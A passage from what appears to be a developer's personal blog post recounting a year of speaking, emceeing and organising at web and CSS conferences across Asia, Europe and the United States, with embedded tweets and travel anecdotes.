I was totally chuffed for the opportunity to meet my long-time CSS idol, 袁川, in person, and his talk was one of the most mindblowing talks I'd ever seen. Not just the content, but the delivery of it. He is very soft-spoken, and fairly shy. But he epitomises how sometimes, the most quiet voices speak the loudest.

If you don't understand Chinese, here's my unprofessional attempt at translating the talk: https://generative-art-with-css.commons.host/.

It was really cool to meet a few of the most well-known names in the Chinese frontend community like 大漠, 赵锦江 (AKA 勾三股四), 张鑫旭, 程劭非 (AKA Winter) and 贺师俊 (AKA Hax). Fun fact, 锦江 has now relocated to Singapore and is having fun with us.

🇷🇴 @ JSHeroes

My Nexmo DevRel colleague and fellow Mozilla TechSpeaker, Alex Lakatos, is Romanian and happened to live in Cluj for a bit. I had never been to Romania before, but I already had friends there, largely because of TechSpeakers.

JSHeroes was a 2-day single track conference with 23 speakers, a number of whom were friends I had met previously at other conferences, so it was nice to catch up with them.

There was a lot of amazing content packed into 48 hours (less if you count the actual conference time). This Romania trip also marked the beginning of my sort-of-nuts summer conference schedule for 2019.

Sarah Vieira and I met “the real” Brian Holt

I was sort of jet-lagged when I got there and when Sarah Drasner introduced me to Simona Cotin, who is one of the sweetest people you'll ever meet, I FORGOT MY OWN NAME for about 3 seconds. One of many facepalm moments in my life.

My talk was near the end of the second day, which meant I couldn't really enjoy the conference fully because of that nagging worry about my own talk at the back of my mind. I was doing my web typography talk, which has been remixed and built upon over the past 2 years, and remains one of my favourite talks to give.

Largely because this is a talk that allows me a lot of room for localisation, to make it more relevant to the audience I'm speaking to. The research into the language, culture and history of whichever country I'm doing the talk in is one of the greatest benefits of this particular topic.

I had a true Cluj local, Alex, on my side, and he taught me how to open my talk with specific words that only Cluj people use. So when I opened with “Mno servus oameni buni”, I received the most amazing response from the audience of 700. And I hadn't even said anything of worth yet.

Another highlight was Madalina Tantareanu, who made live sketchnotes of every speaker's talk. The entire process was projected on a side screen, which was really cool. JSHeroes was a really cool experience and I definitely recommend it to anyone who's near the region to attend.

🇺🇸 @ ImageCon

Technically, this isn't a talk about CSS. In fact, the talk I gave was the first full-length non-CSS talk I ever delivered on a conference stage. What happened was, I had tweeted out the year before about how awesome the 2018 line-up looked and unfortunately could only wait for the videos to be released.

Eric Portis reached out to me end of last year and asked if I'd like to speak at this year's ImageCon, and I immediately agreed. It only dawned on me at a much later date that I wasn't exactly an expert on images. But I always had a fascination with graphics rendering in general.

The talk I pitched was a deep dive into images on the web, because I wanted to answer all the questions I had in my head about this topic. The research process was fascinating, and I am so grateful to the experts I reached out to for advice and clarification.

This particular trip to San Francisco was also a chance for me to catch up with a number of friends who were normally have a planet away. Like Yiying Lu, who I met almost exactly a year ago, in San Francisco as well. And I finally got to meet Christian Nwamba in person! 🤗

Also went climbing with Jennifer Wong, hung out at the most creative space ever, and helped out a bit with the 5x5: Art Show. Call me slow but it was then I realised that a lot of people I know are based in the Bay Area.

As a Malaysian citizen, entry into the United States can sometimes by iffy, so I'm always appreciative for the opportunity to spend time with friends there when I can.

🇱🇹 @ YGLF Vilnius

Lithuania is a country that I'd known about since I was 13 years old, because of their basketball team. And it was a surprise to me, growing up, that most people hadn't really heard of Lithuania before. We all have different priorities in life, I suppose.

I've had the good fortune of speaking at 2 prior YGLF conferences and both were really great experiences. So when Sergey Bolshchikov reached out and asked if I would like to give the opening keynote at YGLF Vilnius, there was no way I'd say no.

As luck would have it, Wei was looking for conferences to go to, and I pitched her the idea of coming with me to Lithuania, not expecting her to agree. Nobody had ever taken me up on such offers before, but she said yes. Conference travel buddy! For the first time in my life, might I add.

The venue was gorgeous and the lighting was great. I inadvertently matched my on-stage outfit to the conference theme colours, so that worked out nicely.

The content of the conference was amazing, and it was 2 days of awesome speakers covering topics from MIDI, to GraphQL, to Micro-controllers and much more. I'm probably biased because Charlie Gerard is one of the coolest people I ever met and I think the world of her, but she did the most boss move of the conference IMHO.

Street fighter demo 🤺🤼‍♀️🤹🏻‍♀️🎊🎉🙈🐒🐲 and I’m like whoa

Machine learning with JavaScript by @devdevcharlie at #YGLF19 pic.twitter.com/MBC42eMg6Z
— ᴡᴇɪ 👩🏻‍🌾 (@wgao19) 17 May 2019

Vilnius is a beautiful city and we got the chance to explore a bit more after the conference with Tomas Miliauskas and Kyle Simpson. We even sussed out a potential location for the next YGLF. It might be called YGLF Trakai. Stay tuned for updates.

I don't know when I'll get the chance to go back to Lithuania, but I really hope it's sooner than later.

Bonus adventure time:
Our flight home from Vilnius got delayed on the first leg resulting in Wei and I being stuck in Berlin for 24 hours. If this had happened a year ago, I would have been less chill than I was but this time, I knew I had people in Berlin. And we ended up having a pretty good time in Berlin. More on Berlin next…

🇩🇪 @ CSSconf EU

Ah, CSSconf EU. I can't express how grateful I am for the opportunity to be part of this wonderful event not once, but twice. CSSconf EU 2018 was my first time in Berlin, and I have been there again a few times. This is a city where I honestly have the thought: “I could live here”.

This year is the last time CSSconf EU and JSConf EU will be happening in their current incarnation. Consider it the end of an era. I had a lot of feels about Berlin and the conference experience during the 3 days, and wrote them up in an earlier post.

Dear community, we have one of the bigger and tougher announcements to make. CSSconf EU 2019 will be the last edition of the event in its current form. We will not return in 2020. Read more: https://t.co/puu7rIIrJX #LastOfType #CSSconfEU pic.twitter.com/eZRGBVv7qD
— CSSconf EU (@CSSconfeu) 6 May 2019

But talking CSS, right? So I'm typically a present-with-slides kind of speaker on a conference stage. (Meetups are a different matter) But some time last year, Alex (the same Alex from the JSHeroes section) convinced me that my no slides approach to explaining layout concepts with DevTools would make a great talk.

Fast forward half a year and I'm about to go on stage in front of 800 developers with a brand new talk that's basically just me resizing the browser for 30 minutes. It's no surprise that I would have a face that looked like this:

There were lots of friendly faces near the front of the stage and once I started talking, I got swept up in the actual CSS like the nerd that I am. The feedback from that talk was some of the kindest I'd ever received and I really appreciate the opportunity to give it on that stage.

First time seeing @hj_chen speak, and WOW she’s just amazing. Awesome live demo of content-based sizing in the browser (horizontal and vertical!) #cssconfeu pic.twitter.com/x5CcYk9LaJ
— Jason Pamental (@jpamental) 31 May 2019

I was captivated by all the talks from start to finish, and super chuffed to meet Manuel Rego, Jason Pamental and Estefany Aguilar in person! Estefany gave a great talk on one of my favourite CSS topics, logical properties, and her slides were gorgeous.

She also dropped big news at the end of her talk, that CSS Conf Columbia would be the newest addition to the CSSConf family and would be taking place in March 2020. 🎉

CSSconf EU speakers also get to attend JSConf EU and so I got to watch my home girl, Sher Minn blow everyone's mind with her talk on recreating retro computer art.

Team Nexmo was pretty well represented this time, with Garann Means rocking the main stage talking about the missing JavaScript phone we were promised, while Alex's coffee ordering app being well-utilised throughout the 2 days.

Berlin is a special place for me. And CSSconf EU is a community and an experience I will remember for the rest of my life. ❤️

🇬🇧 @ Pixel Pioneers Bristol

Next stop, Bristol. I didn't know much about Bristol, other than the fact that Rachel Andrew lives there, and that it's really quite pretty.

Lovely day for a run in Bristol #running #Bristol pic.twitter.com/wraNvN9eg4
— Rachel Andrew (@rachelandrew) 30 April 2019

I had corresponded with Oliver Lindberg the year before about speaking at Pixel Pioneers, and this time, because I was already in Europe, everything worked out.

This was the same talk I gave in Berlin and the feedback from CSSconf EU made me feel slightly better because if I had bombed that, I would probably had to rethink my conference talks for the rest of the year. 🙈

Pixel Pioneers is a very locally-focused conference and a contrast from CSSconf EU, but boy, was it a great conference, both to attend and speak at. The only minor hitch was that I'd finally run out of conference luck, and my computer decided to freeze right in the middle of my talk.

Because I needed to reboot, and my work computer needs at least a good 5 minutes to start up, I really put our emcee, Phil Hawksworth, on the spot by asking him to tell jokes for at least 5 minutes. Phil was brilliant as an emcee, plus, he gave a talk of his own, so all the kudos to him.

Phil doing me a solid while I frantically reboot in the background

After a lot of running around since April, it was finally time to head home for my last major event of the summer conference season. Lots of traveling does make coming home a more significant event, especially when you have people to come home to.

it's been a pretty eventful 2 weeks. saw familiar places and new ones, met and made many friends, had plenty of feels 😭🥰😁
now i'm heading home to cap off my summer conference season with @jsconfasia 🇸🇬
coming home ❤️
that does have a nice ring to it, doesn't it?
— HJ Chen (@hj_chen) 8 June 2019

🇸🇬 @ JSConf.Asia

My first gig on a conference stage was emcee-ing for CSSConf.Asia 2015. Because I was too cheap to pay for a ticket. That's the truth. I've always felt more relaxed being an emcee than being a speaker because I feel that nobody remembers the emcee.

The emcee's job is to make the speakers look good, and entertain the audience just in case things go wrong on the technical side of things. As someone who has the useless ability of coming up with nonsense on a moment's notice, I'm fairly comfortable with this role.

We traditionally run a gameshow before the start of JSConf.Asia as a warm-up, and this year the game was Loop of Fortune, a parody of Wheel of Fortune from the 90s. Also a chance for me to showcase some Singlish. It's my city, and I'll do what I like. 🤪

But this year, I was also a co-organiser with Thomas Gorissen, who had been shouldering the bulk of the workload for the past 7 years. Prior to the conference itself, I was mainly helping out with talk curation, reaching out to speakers, scholarships and wholy in charge of volunteer management.

I don't really have a proper approach to running a team of people, because honestly, I never thought of myself as someone who'd lead the charge. I'm rubbish at delegating tasks, and there were so many things that I could have done better in terms of communication and scheduling. But I guess you live and learn.

When your best mate also agrees to be a volunteer

Being part of the organising committee meant liaising with all the people behind the scenes who put in a lot of work to make the conference run smoothly, and I'm grateful for all of them, for their cooperation and understanding given how unpredictable things could be during the event itself.

Nice to have conference friends come to my home country for a change

Most of the feedback we received was very heartening, plus some suggestions for improvements. But it means a lot when people tell us that this is a world-class conference.

I can't tell you how many times I've heard locals say how the conferences in the United States or Europe are better than the ones we have here. But hopefully this mindset will start to change.

Waiting in this wonderful airport in Singapore (fastest checking ever!), ruminating on the wonderful last three days at #jsconfasia, I can't help but be thankful for the good talks, top-notch discussions and meetings with developers, and last but not least—the great food!
— Gil Tayar (@giltayar) 16 June 2019

It was chaotic at time, things went wrong, and a lot of sprinting and lifting heavy objects took place. But overall, I think we can consider JSConf.Asia 2019 a successful conference. Go team! 🙆

🇩🇪🇦🇹 @ Mozilla Developer Roadshow EU

Going on the Mozilla Developer Asia Roadshow back in 2017 was a fairly significant milestone for my professional career. Not that it's much of a career at this point, but it was the start of my relationship with Mozilla, and where I got to know 2 amazing women, Sandra Persing and Ali Spivak.

I have the utmost respect and admiration for them both and it has been a privilege to have another opportunity to go on the road once again with them for this year's series of roadshows. The format is similar to what we did 2 years ago, but a bit tighter because travel between cities was relatively quick.

It was a 4-cities-in-4-days schedule, but because Sandra was so organised, it felt like everything was running like a well-oiled machine. The first stop was Nuremburg, I hadn't been there before and it took 4 plane rides to get there, but I liked the city. It also happened to be the place we spent the most time (all of nearly 2 days).

Team MDR EU 2019

I was giving the a version of the DevTools talk I did back in June, but had since added extra stuff for Grid and different examples. This is the most “Lego” talk I ever had, and I would be giving it a number of times later this year as well, so I had way more content than 30 minutes and could choose different pieces depending on the time constraints.

For Nuremburg, I went with content-based sizing, flexbox and grid. I thought it went fairly okay, except that we were supposed to do a screen recording for post-production purposes but guess what this idiot did? Or more specifically, not do?

You're absolutely right. I DID NOT press the record button.

Oh well, 3 more stops to go…

Next was Munich. And it was a nice venue at the Microsoft offices with green walls, and we were joking around about the possibilities of that green background. A lot of photos came out from this stop, including my favourite shot of the whole Roadshow 👇.

Anyway, this time I DID manage to press the record button and redeem myself a little bit. I thought the talk went much smoother this time as well, so maybe it was meant to be that I didn't record the first one.

Couldn't hang around for long though because the next day we were headed off to Linz in Austria. But the train ride was absolutely lovely. I'm very much a fan of traveling within Europe on trains now. The Linz stop was mindblowing because more people showed up than RSVP-ed. I've honestly NEVER seen this at tech meetup before, so I was amazed.

However, I was again fairly incompetent with the button pressing and only remembered to hit record after 10 minutes, so that was a moot recording as well. Oh well, I guess we'll always have Munich.

The last stop of the roadshow was Vienna. I was genuinely excited for Vienna because of the “Viennese mafia”, comprised of Eva Lettner, Andrey Okonetchnikov and Manuel Matuzovic, who had passionately insisted that Vienna was the best city in the world when I first met them in Saint Petersberg.

The city did not disappoint. It was beautiful. This stop was especially fun for me because instead of my talk, I had a fireside conversation with Max Böck about the CSS mindset. I share a lot of the same sentiments as he does about how we approach CSS so it was effortless to build off each other's points throughout the conversation.

Fun fact. I managed to hit my not-so-secret secret agenda of going climbing (just bouldering, actually) at EVERY stop! Crowning achievement 💃

🇸🇬 @ CONNECT Asia 2019

Immediately after the Mozilla Developer Roadshow was CONNECT Asia, organised by Women Who Code. I had committed to this fairly early in the year and personally, it matters to me to speak at home. I could go on about all the reasons why, but let's save that for another day.

The schedule was unfortunately such that I had to get to the venue straight from the airport, but Singapore is tiny enough for this not to be too much of an issue. I didn't sleep that much on the 8-hour leg from Doha to Singapore though and ended up hiding in the library (it was at the venue) for a short nap.

I have mentioned this earlier in the JSConf.Asia section, but I generally have an accent, either American or British, when I go on conference stages. But this time, I decided to keep my local accent. I may not be Singaporean, but my Singlish is on point.

Because this was a multi-track event, there weren't that many people in the audience either so I went for a much more informal tone of voice than I normally do at conferences (meet-ups are a completely different matter, check SingaporeCSS for videos). Little did I know that more people would stream in later. Oh well, too late to change it up half-way through.

I did have a good number of friends and people who knew me in the audience, so it was really very fun for me. I don't know how much fun they had. Got some good meme-worthy photos out of them though.

The talk also happened to be on Malaysia's national day, so how could I not centre my main demo around our national flag? My Malaysian dev friends were totally in on the idea and suspected I'd end up doing something like that. It was definitely 100% worth the effort to make it to this event.

Also, Wei gave her first conference workshop at the same event. I told her if I bombed my talk I'd just pop into her workshop instead. I was pretty happy I managed to catch the tail-end of it though.

🇵🇹 @ Connect Fest 2019

I had to fly to Porto for Connect Fest directly from JSConf Korea but I just have to mention how amazing the organisers did for their inaugural edition. I met Soeun Lee AKA Sona, for the first time in JSConf EU last year and had continued to keep in touch especially after I knew she was going to organise JSConf Korea.

The entire team was absolutely delightful and I felt extremely blessed to be able to be there to support them as part of the greater JSConf family. Also, Nexmo was a sponsor for the event, so I got to be there with my mates, Alex and Julia as well. Booth duty is more fun with friends.

But anyway, Connect Fest. This was a conference organised by Bosch, which to be honest, I associate the brand with automotive parts because that's what they are known for in Malaysia and Singapore. Turns out they are trying to rebrand themselves as a tech company, which makes sense since they do a lot more than just car parts.

This was one conference where I didn't know anybody in the line-up and it was a lot broader than the typical web conferences I attended so I didn't know what to expect. Which was great, because I had the best time there.

At the speaker dinner, I got to know Anna Wszeborowska, who is one of the loveliest human beings I've ever met and we chatted long after dinner was over. Diana Birsan was also at the table among a few other speakers, and we were pretty much the last to leave.

It was a 2-track conference with one stage in an auditorium style and the other at the top floor of the venue. That second stage had a stunning view of Porto. At lunch, we naturally hovered together and were joined by some other speakers, including Dr. Roméo Farinacci. Somehow our band of 4 stuck together the rest of the time.

I soon realised that the audience was NOT majority web developers and wasn't feeling particularly confident about resizing the browser a thousand times on stage talking about flexbox and grid. But my 3 new-found friends were so incredibly supportive that I felt much better about it. A couple of people who did do web development also said nice things to me after, so that was a relief.

A lot of people talked shop but not us. We had conversations about disturbingly large spiders, Eastern European parents, relationships, travel, anything and everything, really. And we ended off the event by having a nice dinner and wine. I genuinely hope we cross paths again sooner than later, but that time we spent together was golden.

🇳🇵 @ Web Weekend Kathmandu 2019

I kicked off a fairly crazy stupid September-October schedule by heading out to Nepal for Web Weekend Kathmandu. I had never been to Nepal before and was really looking forward to this. Even though I was thoroughly a foreigner in Kathmandu, there was a sense of familiarity to the streets of Kathmandu.

When asked, I described it as similar to small town Malaysia as I remember it maybe 20 plus years ago when I was a kid. A lot of the smells were very familiar, because even though the style of cooking is unique, we use a lot of the same spices as well.

The organisers were really thoughtful and gave every speaker personalised coffee mugs with a sketch of us on them, and the content curation was stunningly good. It was the type of conference that chose to go broad, so we had talks about DevOps, MIDI and hardware, testing, gender in tech, CSS.

I learned so much, not only from the talks though, but also from the attendees and organisers. I gave the DevTools talk here as well, but had to switch it up a bit to fit the 25 minute format. This audience was one of the best I've ever had the privilege of speaking in front of.

They were so engaged and attentive, and the people who came up to me afterwards would make references to the things I mentioned only in passsing and every question that I got was relevant to what I talked about.

A highlight of the conference was the hike which took place the day after the conference. I had to bail out halfway because I needed to catch a flight but I did manage to have a lot of good conversations with others who came along on the hike.

I was really glad to meet Kushma Thapa, who did a fantastic job as emcee. She also became the first Nepalese international conference speaker when she spoke at SeleniumConf last year. There were a lot of feels after the conference which I penned in my other site, DevRel Diaries, if you're interested.

Before I left though, I had one final meal with the organisers as well as Karen Lowry, and we were throwing out ideas and discussing how to improve the conference, how to increase the participation rate for women, and I definitely want to pitch in to help out for future iterations.

🌐 @ JekyllConf 2019

JekyllConf is a virtual conference, completely free and online, on best practices, advanced case studies and the future of Jekyll (according to the website). I'd been using Jekyll for ages, and centred the talk around data files and how I used them for the SingaporeCSS website.

My first remote conference of the year! Unfortunately, due to scheduling, I ended up being in the air while the event was being live-streamed. But JekyllConf organiser, Mike Neumegen, had pre-empted this and asked if I could pre-record the talk. There were 260 people live-streaming the conference, which was kinda cool.

🏴󠁧󠁢󠁳󠁣󠁴󠁿 @ Finch Frontend

So the flight I was catching on the day of the hike was to Edinburgh for Finch Front-end. It was the inaugural edition organised by Patrick Griffiths and the line-up was absolutely stacked! There was Hakim El Hattab, Rachel Andrew, Harry Roberts, Sara Soueidan among all the other briliant speakers.

I was doing the DevTools talk once again, but this time I was given 45 minutes, so I managed to fit in all of my “Lego” blocks. I'll be honest, I did not think it was my best performance, and the audience was fairly reserved, which did throw me off a little, especially since Kathmandu happened just 2 days before (I did the straight from the airport thing again).

But later, Harry Roberts also mentioned that he felt the crowd was a bit tough, so that sort of reassured me a little bit, though I still wasn't all that happy with myself. Patrick did ask me if I wanted to emcee for the second day.

I've mentioned before that I find emcee-ing way less stressful than speaking, so I was definitely up for it, except that I had to leave at lunch to catch a flight (again). But Patrick was fine with it because Cassie Evans agreed to do the sessions after lunch, so impromptu emcee-ing on day 2!

I had a way better time being the emcee. We had some form of Q&A after the talk but all the questions ran through me first, and I could also come up with a couple of my own to get the ball rolling so that was nice. So I was taking notes by hand during everybody's talk, which made me realise I hadn't done that in a long time.

It was really nice to introduce Hakim, Cassie and Val Head, making it the second time I got to introduce Val. The first time being when I crashed the Webconf.asia stage last year. Patrick did an amazing job with his conference and I'm really chuffed he put me in his line-up.

🇭🇺 @ CSSConf Budapest

Budapest was not part of my original schedule. But multiple factors influenced my decision to go, one of which was that Wei was going to attend, then I looked at the line-up and realised how many of my friends would be speaking there as well.

There was Charlie Gerard, Shelley Vohr, Stephanie Nemeth, Ruth John, Rebecca Hill, Jake Archibald, Das Surma, this list is getting long. And of course, my tea-drinking, basketball-loving friend, Ben Gagyi.

As part of the greater JSConf family, I was in contact with the organisers as well and when they saw I was attending, they asked if I wanted to emcee for CSSConf Budpest. Of course I said yes. Like I mentioned before, I enjoy it quite a lot.

Every single speaker was stunningly good, and it was such a pleasure to introduce them. And my emcee karma was relatively good, given what I did to Phil Hawksworth in Bristol, I was half expecting someone's laptop to catch fire or half the stage collapsing.

Luckily, the only minor hiccup was when 1 of the speakers slides didn't come on and I spouted nonsense for a couple minutes longer than I normally did. We were also desperately off schedule in the morning, but due to some creative rescheduling of break time, we got everything back on track after lunch.

I thought the audience was extremely nice because they even applauded the emcee-ing, which was so kind of them. But Paul Verbeek-Mast hands-down stole the show and did an incredible job over the next 2 days for JSConf Budapest. Amazing suit on Day 1, then full-length skirt and killer boots on Day 2. I just put on a tie.

Wei gave a lovely presentation about React Knowledgeable at the Mozilla community lounge, which was a really nice place to just chill and watch the talks streamed live from the main stage. It was a very nice space and good idea to have it.

Finally getting to meet Eva Ferreira after years of following her online was definitely one of the highlights of this conference. I was really pleased I made the decision to come to Budapest on a whim.

A lot of us realised that we would all be going to Amsterdam next for either View Source, Fronteers or both, so basically the party just moved cities. It was a lot of fun hanging out with friends I generally only get to see once or twice a year. Practically all of them are at least 8 hours away.

Anyway, on to Amsterdam.

🇳🇱 @ View Source 2019

View Source is Sandra's thing. And I think we've established that I would do anything for Sandra at this point if she says the word. She has looked out for me in so many ways and I will never stop saying how much I appreciate her.

A lot of Budapest ended up in Amsterdam, but 1 person who was missing from Budapest was the indomitable Anjana Vakil, who was in Amsterdam for the Mozilla Techspeakers meetup as well as Fronteers. Also, Mandy Michael was around for Fronteers as well. Did I mention how much I love seeing my awesome friends who I never get to see otherwise?

For View Source, however, I was kind of conferenced out at this point, so I pretty much skipped out most of Day 1. And I was also in 2 minds about the talk, which was the DevTools one yet again, but it would be the last time I was doing it.

I had talked to Wei after Edinburgh and mentioned I wasn't happy with how that one went, and she replied that I would still have the chance to do better at View Source. In a way, that made me both reassured for a second chance, but also more nervous because it was like the “farewell” edition (if that makes any sense).

By now I had given this iterations of this talk (depending on time allocated) 8 times already and to me, it felt like people may have seen it before somewhere else. But I also realised that Charlie, Shelly, Anjana and Mandy hadn't seen it before, so I figured I'd just be giving that talk to them.

Having friends in the front row is the best thing ever as a speaker. They were so incredibly supportive. I was going faster than I normally did (and I already speak fairly fast) because I had the hare-brained idea to fit in more content just for this “finale” edition. Apparently the captioner kept right up. I owe her a drink.

Immediately after my talk was a Conversation Corner thing with Rachel Andrew and Adam Argyle, who I met in person for the first time and he's such a chill guy.

We weren't given much guidance on how to do things so it ended up being a conversation between the 3 of us about CSS, the standards bodies, browsers and specifications. Things we would have chatted about even without an audience.

Personally, I can't wait to share Jeremy Keith's closing keynote when the video gets released, because it was just so damn good. Update: here it is.

I genuinely appreciated having a lot of content centred around browser technologies and web standards, because it offers a perspective different from what day-to-day web developers encounter, and don't we all need more perspective?

🇳🇱 @ Fronteers 2019

I'd known about Fronteers for years because it was the first international conference my brother from another mother, Zell Liew, spoke at back in 2016. He's now off the circuit for at least 7 years or until his daughter starts school? Who knows?

Before Fronteers though, I spoke at QueerJS. Truth be told, I wasn't all there because I was a bit sick that day, so maybe ask Charlie for details on what happened. But all the talks were fantastic. I requested for mine not to be recorded or streamed, because reasons.

It was one of the very few non-technical talks I ever gave, and I'm happy I did it albeit semi-sprawled on the podium to hold myself up. To the people who happened to hear it and told me nice things after, thank you. I wouldn't have been able to give it anywhere else at this point, and so I am grateful.

So, Fronteers. What a stage it was. The venue was a legitimate theatre and had a really classy vibe. I was especially excited to see Lea Verou, Chris Lilley and their adorable baby daughter, Zoe. The last time I met them was in Athens in January, when Chris first had issues with his visa.

Off to Amsterdam for @FronteersConf! First conference to attend with Zoe, first conference talk I’m giving after she was born. I got the jitters like it’s 2010 again! (@svgeesus is here too, he took the photo) pic.twitter.com/KfjGucF7Mf
— Lea Verou (@LeaVerou) October 2, 2019

It was a lot of tension as Chris's visa barely came through before Zoe was due to be born, but all is well now, and I was delight to see my favourite first family of the web in person. Chatting with Chris is one of the most delightful things ever as he shared a lot of the developments in web fonts land with me. I'll definitely have more to say on this subject moving forward.

I finally got to watch Charlie Owen live and oh my goodness, it was a spectacular opening (which did make me more nervous about mine because I was right after). Fronteers was another conference with an utterly stacked line-up, Lea Verou, Rachel Andrew, Ashi Krishnan, Anjana Vakil, Mandy Michael, and this list goes on.

the potential for creating better visual interfaces for users of assistive technologies by combining variable fonts with speech apis is a pretty exciting prospect#FronteersConf pic.twitter.com/Z1MRdeQnGw
— HJ Chen (@hj_chen) October 4, 2019

Meeting Eva Lettner again after 2 years was definitely another high point of the conference. I was especially happy all the CSS talks this conference were the ones that got multiple rounds of applause during the talk. I know people typically say they will watch conference videos but don't. Please do watch the Fronteers videos. They are all so good.

As for myself, I gave the talk I did back in April for ImageCon, because honestly, I spent a lot of time researching that one, and felt I should at least give it one more time. The accoustics of the theatre made it hard to gauge audience reaction, but again, my friends were right up the first row and amazingly supportive.

It was a 45 minute talk, which is honestly longer than I'm used to, so I sort of “lost it” a little around the 30 minute mark, but hopefully not too many people noticed. The feedback afterward was very kind, and I was pretty happy to have gotten through this rather packed schedule without falling off any of the stages.

But that's generally it for me this conference season. It hit me I needed to reflect on my life choices when Ashi casually asked me how much speaking I did in the past 2 weeks and I had to count (the final tally was 10, or maybe 9.5 because I was only half-day emcee for Finch).

My remaining speaking engagements are all in Asia, and on a relatively more sane schedule. But I do need to deal with that gentle layer of dust that has collected over everything in my room at this point. ¯\_(ツ)_/¯

Intermission: 🇨🇳 @ JSConf China

If it hasn't been obvious enough, Wei has clearly featured heavily in my life this year. She's just special, okay? Anyway, I've told her that I would follow her anywhere she gives a talk at a conference. And she did at JSConf China.

Also, Nexmo was a sponsor at the conference, so I was going to be there either way. But let's be honest, even if Nexmo wasn't involved, I'd get myself there hell or high water. I wouldn't have lived it down if I wasn't there to watch her talk in person because it was the best talk of the conference IMHO.

Another fun thing that happened was, my friend Yong Jun gave a workshop there as well and between himself, me and another friend who was helping out, all 3 of us had the same birthday, what are the odds?

🇯🇵🇰🇷🇹🇼🇸🇬🇹🇭 @ Mozilla Developer Roadshow Asia

I went on the Mozilla Developer Roadshow again for the Asia leg, and although this was spaced out a bit more than the Europe one, because it was air travel, it felt more hectic. But I am always excited to speak at events in Asia.

This time around, I was still doing the talk with DevTools, but switched the focus to Grid and Subgrid instead, which I thought would tie in with Firefox's upcoming release of subgrid in 71. And this time I did have a handful of slides before the DevTools bit.

Like the 2017 edition, we covered 5 cities but with more focus on the East Asian region this time. The first city which kicked off the entire thing was Tokyo, and we were joined by Brian Birtles, Daisuke Akatsuka and Karl Dubost.

The Japanese audience really appreciated that Brian and Daisuke did their talks in Japanese, but overall the attendees were engaged throughout the event, which made it a great way to start to the roadshow.

Insane @hj_chen created a Go board with CSS. There are so many new features with grids. Now I have no confidence getting back to front-end stuff 😭 #DevRoadshow pic.twitter.com/omdP8sXiBG
— Tomomi Imura ☔ (@girlie_mac) November 11, 2019

Our next stop was Seoul, and the weather wasn't fantastic while we were there. It seemed like we were bringing rain where we went, because it also rained in Tokyo. Turnout was still good though, and I spent 2 hours trying to learn how to say 1 single Korean sentence. I think I butchered it anyway, but audience was very kind about it.

Taiwan was interesting because we were having the event right in the middle of the start-up expo, Meet Taipei, as opposed to having a dedicated meet-up style setup. We didn't have Brian, Daisuke or Karl this time, but were joined by Max Liu and Stan Leong from the Mozilla Taiwan office.

There was a lot going on, but people showed up and stayed throughout all the talks. I made the impromptu decision to do my talk in Chinese, and flubbed a number of lines where I was trying to explain subgrid concepts.

@hj_chen up and delivering CSS knowledge in Chinese pic.twitter.com/IybpchQ053
— Sandra 🍾🎄🎊 (@SandraPersing) November 15, 2019

The team felt I did a good job, but personally I felt it was because they didn't understand Chinese and hence couldn't tell either way. I guess I can take solace in the fact that I sold the body language part of things.

It may have been because I've been speaking overseas for quite a bit lately that I especially treasure the opportunities to speak in my home regions of Singapore and Malaysia. Our fourth stop was Singapore and I was exceptionally excited about it.

Because I wanted to deliver the whole talk in Singlish, and Sandra gave me the go-ahead to do it. It was great fun (for me, obviously), and there were a number of familiar faces in the audience, which I really appreciated.

I’m listening authentic SINGLISH from @hj_chen at @mozilla #devroadshow #pullingmyhair #ihavenoidea pic.twitter.com/8qcs1fpdXJ
— { ”justin”: ”yoo” } ✈️ Seoul - PWA/Azure Workshop (@justinchronicle) November 18, 2019

Our last and final stop was Bangkok, which was a fairly last minute switch as our original final stop was Hong Kong. Unfortunately due to the upheavel there at the time, we had no choice but to cancel the Hong Kong stop.

Luckily, I was able to reach out to Thai Pangsakulyanont, who is not only a wonderful speaker, but also organises tech events around Thailand as well. He managed to help connect us to the relevant people and made the Bangkok stop a reality.

This has been my third Mozilla Developer Roadshow and each one has been a new and rewarding experience. Getting the opportunity to share about CSS with local developer communities in so many countries is a privilege that I will always treasure.

Fun fact. I once again managed to hit my not-so-secret secret agenda of going climbing (just bouldering, actually) at each stop. 💃

Intermission: 🇸🇬 @ DevRel Summit 2019

We had an “off” day during the Singapore stop. And what did we do? We held another event! Eventception, because why not? DevRel Summit this year was much smaller than previous iterations but because of that, every single attendee had ample chance to engage with each other and the speakers.

This was probably the best “hallway track” any event had ever seen IMO. The talk content was spectacular because the theme was DevRel in APAC and every speaker brought a perspective that represented their respective regions.

To me, it made a strong point that we are such a rich and diverse region that painting APAC with a single brush is doing a great disservice to every single developer who is from Asia. I greatly appreciated the opportunity to be the emcee for such an amazing event.

🇲🇾 @ DevFest & BizFest Georgetown 2019

My first homecoming of the year! I didn't get the chance to go back to Penang at all this year before this event. The crew who organise DevFests in Malaysia are a dedicated and incredible group of people.

And I gave them my word that if they ever organise any event and need a speaker, I will come home for them even if there is no travel budget. Even though DevFests carry the Google brand name, they are actually completely community-run events.

Truth be told, I did not grow up in Penang. But because my household predominantly spoke Penang Hokkien, which is not spoken anywhere else outside the state, whenever I step onto Penang and hear this familiar accent all around me, it's a pretty indescribable feeling.

I did a longer version of my subgrid talk for this event, tweaking it on the fly when I realised that a majority of the audience were not full-time web developers. No matter, it's still a plus that I was able to show what the web is now capable of.

One of the best things about this event IMO was the local street food stalls that served our childhood favourites! Local flavour at its best. For those of you who have never been to Penang, it has undoubtedly the best food in the world. You can quote me on that.

🇲🇾 @ DevFest Kuala Lumpur 2019

This was the 10-year anniversary of DevFest KL, and so it was a pretty huge event with a turnout of 800. It was a multi-track event but every talk felt packed. The organisers had designed custom dinosaur stickers just for the event, and every speaker got a plushie!

I did a condensed version of my subgrid talk in the Foyer stage, which was quite fun, and also helped out with emcee-ing for the web edition of the Kazoo quiz. I was glad to have been able to meet so many cool people, both familiar and new.

How many speakers can you fit in a selfie? 😉 #DevFestKL19 #DevFest @shazahakim pic.twitter.com/STSNOE7KbG
— Saurabh Arora (@saurabh_arora90) December 7, 2019

Having my last two talks of the year being Malaysian events was quite a blessing. Even though Penang is my hometown, I think part of my heart never left Kuala Lumpur. For context, I had moved there in 2006 to join the national women's basketball team, and I stayed there for 8 years.

Kuala Lumpur was where I chased a dream. It was the place where I shed the most blood, sweat and tears. It was even where my web development career started. So this place means something to me.

2019 has been a challenging year for me. As the year drew to a close, and with a number of things weighing on my mind, I think I needed to be there. To be meet up with people who were a big part of my life during those 8 years. To revisit the places I spent so much time in.

Wrapping up

